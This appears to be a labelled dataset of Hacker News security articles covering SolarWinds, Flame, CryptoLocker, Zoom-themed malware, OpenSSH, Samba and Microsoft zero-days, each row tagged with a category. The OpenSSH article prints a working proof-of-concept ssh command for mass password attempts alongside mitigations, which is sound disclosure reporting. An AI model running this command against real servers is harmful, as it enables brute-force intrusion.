Meanwhile, SolarWinds is facing further fallout after a shareholder of the IT infrastructure management software company filed a class-action lawsuit in the U.S. District Court for the Western District of Texas on Monday against its president, Kevin Thompson, and chief financial officer, J. Barton Kalsu, claiming the executives violated federal securities laws under the Securities Exchange Act of 1934.
The complaint states that SolarWinds failed to disclose that "since mid-2020, SolarWinds Orion monitoring products had a vulnerability that allowed hackers to compromise the server upon which the products ran," and that "SolarWinds' update server had an easily accessible password of 'solarwinds123'," as a result of which the company "would suffer significant reputational harm."
| Cyber_Attack |
Flame Malware Spread Via Rogue Microsoft Security Certificates | https://thehackernews.com/2012/06/flame-malware-spread-via-rogue.html | Flame Malware Spread Via Rogue Microsoft Security Certificates
Microsoft released an emergency Windows update on Sunday after revealing that one of its trusted digital signatures was being abused to certify the validity of the Flame malware that has infected computers in Iran and other Middle Eastern Countries.
The patch revoked three intermediate Microsoft certificates used in active attacks to "spoof content, perform phishing attacks, or perform man-in-the-middle attacks".Microsoft also killed off certificates that were usable for code signing via Microsoft's Terminal Services licensing certification authority (CA) that ultimately "chained up" to the Microsoft Root Authority.The authority issued certificates for users to authorise Remote Desktop services in their enterprises.
The Microsoft blog post explains that a vulnerability in an old cryptography algorithm is exploited by some elements of Flame to make them appear as if they originated from Microsoft. Most systems around the world accept officially-signed Microsoft code as safe by default, so the malware would enter unnoticed.
Windows users are urged to install the new KB2718704 patch. If you enabled Automatic Updates, the patch should automatically install. If not, you can open Windows Update on your PC and manually install it.
Since the virus is highly targeted and can be caught by most antivirus programs, the "vast majority of customers are not at risk," according to Microsoft.
| Malware |
Google announces $2.7 million Reward for hacking Chrome OS at Pwnium Contest | https://thehackernews.com/2014/01/google-announces-27-million-reward-for.html | Pwnium is the annual Hacking competition where Google invites coders from around the world to find security holes in Google Chrome.
Google has announced its 4th Pwnium Hacking Contest hosted at the Canadian Security conference in March, offering more than $2.7 million in potential rewards for hacking Chrome OS-running ARM and Intel Chromebook.
This year the security researchers have a choice in between an ARM-based Chromebook, the HP Chromebook 11 (WiFi) and the Acer C720 Chromebook (2GB WiFi) based on Intel's Haswell microarchitecture.
The attack must be demonstrated against one of these devices running "then-current" stable version of Chrome OS.
"Security is a core tenet of Chromium, which is why we hold regular competitions to learn from security researchers. Contests like Pwnium help us make Chromium even more secure," Jorge Lucángeli Obes, Google Security Engineer said.
Amongst the payouts are $110,000 for the browser or system-level compromise in guest mode or as a logged-in user, delivered via a web page.
Google will also pay USD 150,000 for providing an exploit, able to persistently compromise an HP or Acer Chromebook, i.e. hacking the device to retain control even after a reboot.
Google further revealed that it will be giving out bonuses to all those who come up with an impressive exploit to defeat kASLR, exploiting memory corruption in the 64-bit browser process or exploiting the kernel directly from a renderer process. The full exploit must be given to Google with explanations for all individual bugs used.
"To register, email [email protected]. Registration will close at 5:00 p.m. PST Monday, March 10th, 2014. Only exploits demonstrated on time in this specifically-arranged window will be eligible for a reward."
The earlier editions of Pwnium competitions focussed on Intel-based Chrome OS devices, and Google had paid out $50,000 to a prolific hacker who goes by "Pinkie Pie," for an exploit.
Do you think you are up to the task? Gear up your keyboards & Give it a try!
| Vulnerability |
Bitcoin Core Software Patches a Critical DDoS Attack Vulnerability | https://thehackernews.com/2018/09/bitcoin-core-software.html | The Bitcoin Core development team has released an important update to patch a major DDoS vulnerability in its underlying software that could have been fatal to the Bitcoin Network, which is usually known as the most hack-proof and secure blockchain.
The DDoS vulnerability, identified as CVE-2018-17144, has been found in the Bitcoin Core wallet software, which could potentially be exploited by anyone capable of mining BTC to crash Bitcoin Core nodes running software versions 0.14.0 to 0.16.2.
In other words, Bitcoin miners could have brought down the entire blockchain either by overflooding the block with duplicate transactions, resulting in blockage of transaction confirmation from other people or by flooding the nodes of the Bitcoin P2P network and over-utilizing the bandwidth.
The vulnerability had been around since March last year, but the team says nobody noticed the bug or nobody was willing to incur the expense of exploiting it.
According to the bitcoin core developers, all recent versions of the BTC system are possibly vulnerable to the Distributed Denial of Service (DDoS) attacks, though there's a catch—attacking Bitcoin is not cheap.
The DDoS attack on the BTC network would cost miners 12.5 bitcoins, which is equal to almost $80,000 (£60,000), in order to perform successfully.
The Bitcoin Core team has patched the vulnerability and are urging miners to update with the latest Bitcoin Core 0.16.3 version as soon as possible.
"A denial-of-service vulnerability (CVE-2018-17144) exploitable by miners has been discovered in Bitcoin Core versions 0.14.0 up to 0.16.2. It is recommended to upgrade any of the vulnerable versions to 0.16.3 as soon as possible," the vulnerability note reads.
Although the team says that the miners running Bitcoin Core only occasionally are not in danger of such attacks, it would obviously be recommended to upgrade to the latest software version as soon as possible just to be on the safe side.
In addition to the DDoS vulnerability, the latest version also includes patches for a non-insignificant number of minor bugs, related to consensus, RPC and other APIs, invalid error flags, and documentation.
After upgrading to the latest version—the process that will take five minutes to half an hour depending upon the processing power of your computer—users should note that the new wallet will have to redownload the entire blockchain.
| Vulnerability |
Potential backdoors discovered in US-based components used by French Satellites | https://thehackernews.com/2014/01/potential-backdoors-discovered-in-us.html | United Arab Emirates (UAE) may terminate a $930 Million USD contract with France based companies for the supply of two two military Imaging satellites due to the discovery of several US produced components in them.
Now the deal is in danger because the UAE claims it has discovered backdoors in the components which are manufactured in the United States, reported by the Defense News.
The contract, sealed in July 2013, includes a ground station, the Pleiades-type satellites (aka Falcon Eye) are due for delivery 2018.
The revelation was provided by high-level UAE sources, the companies involved in the business are the prime contractor Airbus Defense and Space, and payload maker Thales Alenia Space.
"If this issue is not resolved, the UAE is willing to scrap the whole deal," he added. UAE authorities suspect the presence of vulnerabilities would "provide a back door to the highly secure data transmitted to the ground station".
An unnamed UAE source has confirmed that the presence of backdoor has been reported to Sheikh Mohammed Bin Zayed, deputy supreme commander of the UAE's armed forces.
The contract signed with French companies includes two high-resolution observation satellites and the operational support from France with training for 20 engineers.
UAE representatives are evaluating alternative partners for the supply, Russian industry may be more likely supplier.
"The UAE has drawn on Russian technology, with the GLONASS space-based navigation system fitted as a redundancy feature on a Western European weapon system," a French defense expert said.
While some security experts believe that French industry had drawn on the US technology due complexity of the payload, other specialists found intriguing that France had drawn on US technology for the satellites under the Falcon Eye program.
"France operates the Pleiades spy satellite in what is viewed as a critical piece of the nation's sovereignty. Given that core competence, it seemed strange that France would use US technology, although there is an agreement between Paris and Washington over transfer of capabilities, " said a Defense analysts.
The Defense News also speculated on the fact that the claims may be an attempt to condition another contract for Dassault Aviation Rafale fighters, both French companies were available for comment.
| Data_Breaches |
Warning: 10 Million UK Users targeted with Cryptolocker Ransomware spam email campaign | https://thehackernews.com/2013/11/Cryptolocker-Ransomware-spam-emails-campaign-ten-million-users.html | The UK's National Crime Agency has given out an urgent national alert that a mass spamming event targeting 10 million UK based email users with a piece of malware called CryptoLocker that encrypts your files and then demands a ransom money to restore access.
The agency has said that the people who are majorly receiving targeted spam emails that appear to be from banks and other financial institutions.
Each email comes with attachments that look like files such as a voicemail, fax, an invoice or details of a suspicious transaction, but is in fact Cryptolocker Ransomware malware that encrypts the user's computer. The public should be aware not to click on any such attachment.
On Infected system, The Cryptolocker Malware screen will then display a countdown timer that demands the payment of 2 Bitcoins in ransom, worth around £536, for the decryption key.
The NCCU is trying to trace that who is sending the emails. "We are working in cooperation with industry and international partners to identify and bring to justice those responsible and reduce the risk to the public." Lee Miles, Deputy Head of the NCCU says.
Bitdefender Labs, an anti-virus company found that in the week beginning Oct. 27, more than 12,000 computers were infected and before the criminal group seemed to be exclusively targeting computers in the U.S.
The UK crime agency said it advised users not to pay the ransom and warned that even if it were paid, there was no guarantee the encryption key would be turned over. Anyone whose computer is infected should report it to www.actionfraud.police.uk.
NCA has put out a few recommendations to avoid infection including, files should be backed up routinely and preserved off the network.
Read more detailed articles on Cryptolocker Ransomware:
Cryptolocker Ransomware makes different Bitcoin wallet for each victim
CryptoLocker Ransomware demands $300 or Two Bitcoins to decrypt your files
CryptoLocker developer launches Decryption Service website; 10 Bitcoins for Decryption Keys
| Malware |
COVID-19: Hackers Begin Exploiting Zoom's Overnight Success to Spread Malware | https://thehackernews.com/2020/03/zoom-video-coronavirus.html | As people increasingly work from home and online communication platforms such as Zoom explode in popularity in the wake of coronavirus outbreak, cybercriminals are taking advantage of the spike in usage by registering new fake "Zoom" domains and malicious "Zoom" executable files in an attempt to trick people into downloading malware on their devices.
According to a report published by Check Point and shared with The Hacker News, over 1,700 new "Zoom" domains have been registered since the onset of the pandemic, with 25 percent of the domains registered in the past seven days alone.
"We see a sharp rise in the number of 'Zoom' domains being registered, especially in the last week," said Omer Dembinsky, Manager of Cyber Research at Check Point.
"The recent, staggering increase means that hackers have taken notice of the work-from-home paradigm shift that COVID-19 has forced, and they see it as an opportunity to deceive, lure, and exploit. Each time you get a Zoom link or document messaged or forwarded to you, I'd take an extra look to make sure it's not a trap."
With over 74,000 customers and 13 million monthly active users, Zoom is one of the most popular cloud-based enterprise communication platforms that offers chat, video and audio conferencing, and options to host webinars and virtual meetings online.
The popularity of Zoom has shot up significantly in recent weeks as millions of students, business people, and even government employees across the world are forced to work and socialize from home during the coronavirus pandemic.
The report comes following a significant increase in the number of malicious coronavirus-related domains, with bad actors finding new ways to profit off the global health concern to stage a variety of malware attacks, phishing campaigns, and create scam sites and malicious tracker apps.
What's more, the researchers said they detected malicious files with the name "zoom-us-zoom_##########.exe," which when executed, installed potentially unwanted programs (PUPs) such as InstallCore, a dodgy bundleware application that's known to install other kinds of malware.
But Zoom is not the only app to be targeted by cybercriminals. With schools turning to online learning platforms to keep students occupied, Check Point researchers said they also discovered phishing sites masquerading as the legitimate Google Classroom (e.g., googloclassroom\.com and googieclassroom\.com) website to trick unwitting users into downloading malware.
Zoom Fixes Privacy Issue in Its iOS App
Zoom, for its part, has had its share of privacy and security issues too. Last year, the video conferencing app fixed a vulnerability that could let websites hijack users' webcam and "forcibly" join them to a Zoom call without their permission.
Then earlier this January, the company squashed another bug that could have allowed attackers to guess a meeting ID and join an unprotected meeting, potentially exposing private audio, video, and documents shared throughout the session. Following the disclosure, Zoom introduced default passwords for each meeting that participants need to enter when joining by manually entering the meeting ID.
And finally, just over the weekend, Zoom updated its iOS app after it was caught sending device information and a unique advertiser identifier to Facebook using the social network's software development kit (SDKs) and concerns were raised over its failure to disclose the data sharing in its privacy policy.
Highlighting some of the privacy risks associated with using Zoom's products, The Electronic Frontier Foundation (EFF) said hosts of Zoom calls can see if participants have the Zoom video window active or not to track if they are paying attention. Administrators can also see the IP address, location data, and device information of each participant.
To safeguard yourself from such threats, it's essential that the apps are kept up-to-date, and be on the lookout for emails from unknown senders and lookalike domains that contain spelling errors.
Besides this, also don't open unknown attachments or click on promotional links in the emails, the cure for Corona will not arrive via email, and also ensure you're ordering goods from only authentic sources.
| Malware |
Bug in OpenSSH Opens Linux Machines to Password Cracking Attack | https://thehackernews.com/2015/07/openssh-password-cracking.html | A simple but highly critical vulnerability recently disclosed in the most widely used OpenSSH software allows attackers to try thousands of password login attempts per connection in a short period.
OpenSSH is the most popular software widely used for secure remote access to Linux-based systems. Generally, the software allows 3 to 6 Password login attempts before closing a connection, but a new vulnerability lets attackers perform thousands of authentication requests remotely.
OpenSSH servers with keyboard-interactive authentication enabled, including FreeBSD Linux, can be exploited to carry out the brute force attack on OpenSSH protocol, a security researcher with online alias KingCope explained in a blog post.
Exploit for the Vulnerability RELEASED
Hackers could widely exploit the vulnerability because the keyboard-interactive authentication is by default enabled on most of the systems.
Researcher has also released a proof-of-concept exploit code, which is just a command, as follows:
ssh -lusername -oKbdInteractiveDevices=`perl -e 'print "pam," x 10000'` targethost
This simple command effectively allows up to 10,000 password attempts within two minutes of login grace time.
"The crucial part is that if the attacker requests 10,000 keyboard-interactive devices OpenSSH will gracefully execute the request and will be inside a loop to accept passwords until the specified devices are exceeded," KingCope said.
However, depending on the connection and the victim's Linux machine, two minutes of 'grace period' and thousands of login attempts are enough to achieve successful login by using dictionary attack with a word-list of most commonly used passwords.
The vulnerability is present in the latest version of OpenSSH, which is Version 6.9.
How to Mitigate the Attack?
Administrators are advised to take following precautions until OpenSSH releases an official patch to address the issue:
Use a cryptographic key pair that is at least 2,048 Bits in length
Always Use a Strong Password to protect your Private Key
Reducing the grace period to 20 or 30 seconds
Use Fail2Ban or Pam-Shield to limit failed login attempts
| Vulnerability |
Samba Service Hit By Remote Code Execution Vulnerability | https://thehackernews.com/2015/02/samba-service-hit-by-remote-code.html | A critical vulnerability has been fixed in Samba — Open Source standard Windows interoperability suite of programs for Linux and Unix, that could have allowed hackers to remotely execute an arbitrary code in the Samba daemon (smbd).
Samba is an open source implementation of the SMB/CIFS network file sharing protocol that works on the majority of operating systems available today, which allows a non-Windows server to communicate with the same networking protocol as the Windows products. Samba is supported by many operating systems including Windows 95/98/NT, OS/2, and Linux.
smbd is the server daemon of Samba which provides file sharing and printing services to clients using the SMB/CIFS protocol. Samba is also sometimes installed as a component of *BSD and OS X systems.
The vulnerability, designated as CVE-2015-0240, actually resides in this smbd file server daemon. The bug can be exploited by hackers to potentially execute code remotely with root privileges, the Samba development team warned.
The team discovered that the vulnerability allowed a malicious client to send some packets that could free memory in a consecutive anonymous netlogon packet, leading to unexpected execution of random code. In case, root privileges are required which is automatic and no login or authentication is necessary.
The security vulnerability affects all versions of the Samba software, from the oldest supported stable release, Samba versions 3.5.0, to the current development version, 4.2.0 Release Candidate (RC) 4, the Samba Project said in a security alert.
Red Hat product team published a detailed analysis of this vulnerability on its blog post. According to the researchers, Red Hat Enterprise Linux versions 5 through 7 are affected, as are Red Hat Storage Server versions 2.1 and 3. Except RHEL7, the vulnerability is marked critical for all of the affected products. Other Linux distributions have also posted security alerts about the vulnerability.
A large number of users might potentially be at risk because Samba ships with a wide range of Linux distributions. However, users affected by the critical vulnerability also depends on which operating system they run on their machines.
The Samba development team has fixed the flaw in the new Samba version, Samba 4.1.17, which is available to download. The credit for discovering and reporting the flaw in Samba goes to the Microsoft Vulnerability Researcher, Richard van Eeden, who also provided the patch.
Meanwhile, other major Linux distributions, including Ubuntu, Debian and Suse, have also released updated packages in their repositories, with others to follow soon.
| Vulnerability |
Microsoft Patches Two Zero-Day Flaws Under Active Attack | https://thehackernews.com/2018/05/microsoft-patch-tuesday.html | It's time to gear up for the latest May 2018 Patch Tuesday.
Microsoft has today released security patches for a total of 67 vulnerabilities, including two zero-days that have actively been exploited in the wild by cybercriminals, and two publicly disclosed bugs.
In brief, Microsoft is addressing 21 vulnerabilities that are rated as critical, 42 rated important, and 4 rated as low severity.
These patch updates address security flaws in Microsoft Windows, Internet Explorer, Microsoft Edge, Microsoft Office, Microsoft Office Exchange Server, Outlook, .NET Framework, Microsoft Hyper-V, ChakraCore, Azure IoT SDK, and more.
1) Double Kill IE 0-day Vulnerability
The first zero-day vulnerability (CVE-2018-8174) under active attack is a critical remote code execution vulnerability that was revealed by Chinese security firm Qihoo 360 last month and affected all supported versions of Windows operating systems.
Dubbed "Double Kill" by the researchers, the vulnerability is notable and requires prompt attention as it could allow an attacker to remotely take control over an affected system by executing malicious code remotely through several ways, such as a compromised website, or malicious Office documents.
The Double Kill vulnerability is a use-after-free issue which resides in the way the VBScript Engine (included in all currently supported versions of Windows) handles objects in computer memory, allowing attackers to execute code that runs with the same system privileges as of the logged-in user.
"In a web-based attack scenario, an attacker could host a specially crafted website that is designed to exploit the vulnerability through Internet Explorer and then convince a user to view the website. An attacker could also embed an ActiveX control marked 'safe for initialization' in an application or Microsoft Office document that hosts the IE rendering engine," Microsoft explains in its advisory.
"The attacker could also take advantage of compromised websites and websites that accept or host user-provided content or advertisements. These websites could contain specially crafted content that could exploit the vulnerability."
Users with administrative rights on their systems are impacted more than the ones with limited rights, as an attacker successfully exploiting the vulnerability could take control of an affected system.
However, that doesn't mean that low-privileged users are spared. If users are logged in on an affected system with more limited rights, attackers may still be able to escalate their privileges by exploiting a separate vulnerability.
Researchers from Qihoo 360 and Kaspersky Labs found that the vulnerability was actively being exploited in the wild by an advanced state-sponsored hacking group in targeted attacks, but neither Microsoft nor Qihoo 360 and Kaspersky provided any information on the threat group.
2) Win32k Elevation of Privilege Vulnerability
The second zero-day vulnerability (CVE-2018-8120) patched this month is a privilege-escalation flaw that occurred in the Win32k component of Windows when it fails to properly handle objects in computer memory.
Successful exploitation of the flaw can allow attackers to execute arbitrary code in kernel mode, eventually allowing them to install programs or malware; view, edit or delete data; or create new accounts with full user rights.
The vulnerability is rated "important," and only affects Windows 7, Windows Server 2008 and Windows Server 2008 R2. The issue has actively been exploited by threat actors, but Microsoft did not provide any detail about the in-the-wild exploits.
Two Publicly Disclosed Flaws
Microsoft also addressed two "important" Windows vulnerabilities whose details have already been made public.
One of these is a Windows kernel flaw (CVE-2018-8141) that could lead to information disclosure, and the other is a Windows Image bug (CVE-2018-8170) that could lead to Elevation of Privilege.
In addition, the May 2018 updates resolve 20 more critical issues, including memory corruptions in the Edge and Internet Explorer (IE) scripting engines and remote code execution (RCE) vulnerabilities in Hyper-V and Hyper-V SMB.
Meanwhile, Adobe has also released its Patch Tuesday updates, addressing five security vulnerabilities—one critical bug in Flash Player, one critical and two important flaws in Creative Cloud and one important bug in Connect.
Users are strongly advised to install security updates as soon as possible in order to protect themselves against the active attacks in the wild.
For installing security updates, head on to Settings → Update & security → Windows Update → Check for updates, or you can install the updates manually.
| Cyber_Attack |
Subsets and Splits